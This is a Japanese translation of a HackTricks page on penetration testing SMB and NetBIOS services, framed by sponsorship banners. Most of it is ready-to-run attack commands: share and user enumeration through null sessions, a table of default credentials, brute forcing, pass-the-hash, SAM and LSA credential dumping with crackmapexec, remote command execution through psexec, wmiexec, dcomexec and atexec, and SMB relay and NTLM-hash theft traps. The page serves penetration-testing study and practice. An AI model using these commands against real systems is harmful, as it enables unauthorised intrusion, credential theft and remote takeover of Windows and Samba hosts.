# 139,445 - SMBのペンテスト
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
## **ポート139** **_ネットワーク基本入出力システム(NetBIOS)_**は、ローカルエリアネットワーク(LAN)内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**データの送受信を容易にするために設計されたソフトウェアプロトコル**です。 NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置は、16文字までのNetBIOS名を使用して達成され、これらはコンピュータ名とは異なることがよくあります。 2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーション(クライアントとして動作)が別のアプリケーション(サーバーとして動作)を「呼び出す」コマンドを発行することによって、**TCPポート139**を使用して開始されます。 ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## ポート445 技術的には、ポート139は「NBT over IP」と呼ばれ、ポート445は「SMB over IP」と識別されます。**SMB**とは「**Server Message Blocks**」の頭字語であり、現代では**Common Internet File System (CIFS)**としても知られています。SMB/CIFSはアプリケーション層のネットワークプロトコルであり、主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな形式の通信を容易にします。 例えば、Windowsの場合、SMBはTCP/IP上で直接動作することが強調されており、ポート445の利用により、NetBIOS over TCP/IPの必要性がなくなります。一方、他のシステムでは、ポート139の使用が観察され、SMBがNetBIOS over TCP/IPと共に実行されていることが示されています。 ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB **Server Message Block (SMB)**プロトコルは、**クライアント-サーバー**モデルで動作し、**ファイルへのアクセス**、ディレクトリ、プリンター、およびルーターなどの他のネットワークリソースへのアクセスを規制するために設計されています。主に**Windows**オペレーティングシステムシリーズで使用されており、SMBは後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを搭載したデバイスが古いバージョンを実行しているデバイスとシームレスにやり取りできるようにしています。さらに、**Samba**プロジェクトは、SMBを**Linux**およびUnixシステムに実装するための無料ソフトウェアソリューションを提供し、SMBを介したクロスプラットフォーム間の通信を容易にしています。 **ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントにサーバーの実際の構造から一部独立した階層を表示します。**アクセス制御リスト(ACL)**は、**アクセス権**を定義し、**`実行`**、**`読み取り`**、および**`完全アクセス`**などの属性を含むユーザー権限に対して**細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーやグループに割り当てることができ、サーバーに設定されたローカル権限とは異なります。 ### IPC$共有 IPC$共有へのアクセスは、匿名のヌルセッションを介して取得でき、名前付きパイプを介して公開されたサービスとのやり取りが可能になります。この目的には、ユーティリティ`enum4linux`が役立ちます。適切に使用すると、次の情報を取得できます: - オペレーティングシステムに関する情報 - 親ドメインの詳細 - ローカルユーザーとグループの一覧 - 利用可能なSMB共有に関する情報 - 有効なシステムセキュリティポリシー この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB(Server Message Block)サービスのセキュリティポストを評価するために重要です。`enum4linux`は、対象システムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。 ```bash enum4linux -a target_ip ``` 上記のコマンドは、`enum4linux`が`target_ip`で指定されたターゲットに対して完全な列挙を実行する方法の例です。 ## NTLMとは NTLMが何かわからない場合や、それがどのように機能し、どのように悪用できるかを知りたい場合は、**NTLM**に関するこのページが非常に興味深いでしょう。このページでは、**このプロトコルがどのように機能し、どのようにそれを利用できるか**が説明されています: {% content-ref url="../windows-hardening/ntlm/" %} [ntlm](../windows-hardening/ntlm/) {% endcontent-ref %} ## **サーバーの列挙** ### ネットワークをスキャンしてホストを検索する: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMBサーバーバージョン SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。他のツールにこの情報が表示されない場合は、次の方法を使用できます: * **MSF**の補助モジュール **_auxiliary/scanner/smb/smb_version** を使用する * または、このスクリプト: ```bash #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` ### **脆弱性の検索** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **可能性のある**資格情報 | **ユーザー名** | **一般的なパスワード** | | -------------------- | --------------------------------------- | | _(空白)_ | _(空白)_ | | guest | _(空白)_ | | Administrator, admin | _(空白)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | ### 総当たり攻撃 * [**SMB総当たり攻撃**](../generic-methodologies-and-resources/brute-force.md#smb) ### SMB環境情報 ### 情報の取得 ```bash #Dump interesting information enum4linux -a [-u "" -p ""] enum4linux-ng -A [-u "" -p ""] nmap --script "safe or smb-enum-*" -p 445 #Connect to the rpc rpcclient -U "" -N #No creds rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash rpcclient -U "username%passwd" #With creds #You can use querydispinfo and enumdomusers to query user information #Dump user information /usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] #Map possible RPC endpoints /usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` ### ユーザー、グループ、およびログインユーザーの列挙 この情報は既にenum4linuxとenum4linux-ngから収集されているはずです。 ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` ### ローカルユーザーの列挙 [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash lookupsid.py -no-pass hostname.local ``` # Oneliner ## ワンライナー ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` ### Metasploit - ローカルユーザーの列挙 ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` ### **LSARPCおよびSAMR rpcclientの列挙** {% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} [rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md) {% endcontent-ref %} ### LinuxからのGUI接続 #### ターミナルで: `xdg-open smb://cascade.htb/` #### ファイルブラウザウィンドウ(nautilus、thunarなど)で `smb://friendzone.htb/general/` ## 共有フォルダの列挙 ### 共有フォルダのリスト 何かにアクセスできるかどうかを常に確認することをお勧めします。資格情報がない場合は、**null** **資格情報/ゲストユーザー**を使用してみてください。 ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbmap -H [-P ] #Null user smbmap -u "username" -p "password" -H [-P ] #Creds smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash smbmap -R -u "username" -p "password" -H [-P ] #Recursive list crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` ### **共有フォルダの接続/リスト** ```bash #Connect using smbclient smbclient --no-pass /// smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash #Use --no-pass -c 'recurse;ls' to list recursively with smbclient #List with smbmap, without folder it list everything smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` ### **Windows共有を手動で列挙して接続する** ホストマシンの共有を表示することが制限されている可能性があり、それらをリストしようとすると接続できる共有がないかのように表示されることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッション(例:ヌルセッションまたは有効な資格情報)を使用して NT\_STATUS\_ACCESS\_DENIED や NT\_STATUS\_BAD\_NETWORK\_NAME のような応答を探すことがおすすめです。これらは、共有が存在しアクセス権がないか、共有が存在しないかを示す可能性があります。 Windowsターゲットの一般的な共有名は以下のとおりです。 * C$ * D$ * ADMIN$ * IPC$ * PRINT$ * FAX$ * SYSVOL * NETLOGON (_**Network Security Assessment 3rd edition**_ からの一般的な共有名) 以下のコマンドを使用してこれらに接続を試みることができます。 ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` または、このスクリプト(ヌルセッションを使用) ```bash #/bin/bash ip='' shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') for share in ${shares[*]}; do output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') if [[ -z $output ]]; then echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created else echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) fi done ``` 例 ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### **Windows / サードパーティツールを使用せずに共有を列挙する** PowerShell ```powershell # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share # Retrieves the SMB shares on a remote computer. get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` CMDコンソール ```shell # List shares on the local computer net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` ### MMC スナップイン(グラフィカル) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` explorer.exe(グラフィカル)、利用可能な非表示共有を表示するには、`\\\` を入力します。 ### 共有フォルダをマウント ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **ファイルのダウンロード** 以前のセクションを読んで、資格情報/Pass-the-Hashを使用して接続する方法を学んでください。 ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap ``` ```bash #Download all smbclient /// > mask "" > recurse > prompt > mget * #Download everything to current directory ``` ### ドメイン共有フォルダの検索 * [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* コマンド: * mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します(例: "" はすべてのファイルを表します) * recurse: 再帰を切り替えます(デフォルト: オフ) * prompt: ファイル名のプロンプトをオフに切り替えます(デフォルト: オン) * mget: ホストからクライアントマシンにマスクに一致するすべてのファイルをコピーします (_smbclientのmanページからの情報_) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` * [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) スパイダー。 * `-M spider_plus [--share ]` * `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` 特に興味深いのは、**`Registry.xml`** というファイルで、**Group Policy** を介して **autologon** が構成されたユーザーの **パスワード** が含まれている可能性があります。また、**`web.config`** ファイルには資格情報が含まれていることがあります。 {% hint style="info" %} **SYSVOL共有** はドメイン内のすべての認証済みユーザーによって **読み取り可能** です。そこには多くの異なるバッチ、VBScript、PowerShell **スクリプト**が含まれているかもしれません。\ 中に含まれる **スクリプト** を **チェック** すると、**パスワード**などの機密情報が見つかるかもしれません。 {% endhint %} ## レジストリの読み取り いくつかの発見された資格情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して次のように試すことができます: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` ## ポストエクスプロイテーション **Samba** サーバーの**デフォルト構成**は通常 `/etc/samba/smb.conf` にあり、いくつかの**危険な構成**が含まれている可能性があります: | **設定** | **説明** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | 現在の共有内の利用可能な共有をリスト表示することを許可しますか? | | `read only = no` | ファイルの作成と変更を禁止しますか? | | `writable = yes` | ユーザーがファイルを作成および変更できるようにしますか? | | `guest ok = yes` | パスワードを使用せずにサービスに接続を許可しますか? | | `enable privileges = yes` | 特定の SID に割り当てられた権限を尊重しますか? | | `create mask = 0777` | 新しく作成されたファイルに割り当てる必要のある権限は何ですか? | | `directory mask = 0777` | 新しく作成されたディレクトリに割り当てる必要のある権限は何ですか? | | `logon script = script.sh` | ユーザーのログイン時に実行する必要のあるスクリプトは何ですか? | | `magic script = script.sh` | スクリプトが閉じられたときに実行する必要のあるスクリプトはどれですか? | | `magic output = script.out` | マジックスクリプトの出力を保存する必要のある場所はどこですか? | `Smbstatus` コマンドは、**サーバー**と**接続しているユーザー**に関する情報を提供します。 ## Kerberos を使用した認証 **smbclient** と **rpcclient** ツールを使用して **kerberos** に**認証**できます: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` ## **コマンドの実行** ### **crackmapexec** crackmapexecは、**wmiexec**が**デフォルト**のメソッドである**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用**してコマンドを実行できます。使用するオプションを指定するには、パラメータ`--exec-method`を使用できます: ```bash apt-get install crackmapexec crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash # Using --exec-method {mmcexec,smbexec,atexec,wmiexec} crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) 両方のオプションは、被害者のマシンで _\pipe\svcctl_ を介して SMB を使用して**新しいサービスを作成**し、それを使用して**何かを実行**します(**psexec** は実行可能ファイルを ADMIN$ 共有に**アップロード**し、**smbexec** は **cmd.exe/powershell.exe** を指定し、引数にペイロードを入れます --**ファイルレステクニック-**-)。\ [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)と [**smbexec**](../windows-hardening/ntlm/smbexec.md)に関する**詳細情報**。\ **Kali** では、/usr/share/doc/python3-impacket/examples/ にあります。 ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] ./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` **パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証できます ### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec **ポート135**を介してDCOMを使用してディスクに触れずに新しいサービスを実行せずにコマンドシェルをステルスリーに実行します。\ **kali**では、/usr/share/doc/python3-impacket/examples/にあります。 ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` **パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証を行うことができます。 ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] ./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` ### [AtExec](../windows-hardening/ntlm/atexec.md) _\\pipe\atsvc_を介してタスクスケジューラ経由でコマンドを実行します。\ **kali**では、/usr/share/doc/python3-impacket/examples/にあります。 ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` ## Impacket リファレンス [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **ユーザー資格情報のブルートフォース** **これは推奨されません。最大許可された試行回数を超えるとアカウントがブロックされる可能性があります** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB中継攻撃 この攻撃は、内部ネットワークでResponserツールキットを使用してSMB認証セッションを**キャプチャ**し、それを**ターゲットマシン**に**中継**します。認証**セッションが成功**すると、自動的に**システム**の**シェル**に移行します。\ [**この攻撃に関する詳細情報はこちら。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-トラップ WindowsライブラリURLMon.dllは、ページがSMB経由でコンテンツにアクセスしようとすると、ホストに自動的に認証を試みます。例: `img src="\\10.10.10.10\path\image.jpg"` これは、次の機能で発生します: * URLDownloadToFile * URLDownloadToCache * URLOpenStream * URLOpenBlockingStream これらは、一部のブラウザやツール(Skypeなど)で使用されています ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>) ### MitMfを使用したSMBTrap ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>) ## NTLM盗難 SMBトラップと同様に、悪意のあるファイルをターゲットシステムに配置すること(たとえばSMB経由で)は、SMB認証の試行を引き起こす可能性があり、その際にNetNTLMv2ハッシュがResponserなどのツールで傍受されます。そのハッシュはオフラインで解読されるか、[SMB中継攻撃](pentesting-smb.md#smb-relay-attack)で使用される可能性があります。 [参照: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft) ## HackTricks自動コマンド ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMB Note: | While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. #These are the commands I run in order every time I see an open SMB port With No Creds nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request https://book.hacktricks.xyz/pentesting/pentesting-smb Entry_2: Name: Enum4Linux Description: General SMB Scan Command: enum4linux -a {IP} Entry_3: Name: Nmap SMB Scan 1 Description: SMB Vuln Scan With Nmap Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} Entry_4: Name: Nmap Smb Scan 2 Description: SMB Vuln Scan With Nmap (Less Specific) Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP} Entry_5: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb Entry_6: Name: SMB/SMB2 139/445 consolesless mfs enumeration Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' ```
htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**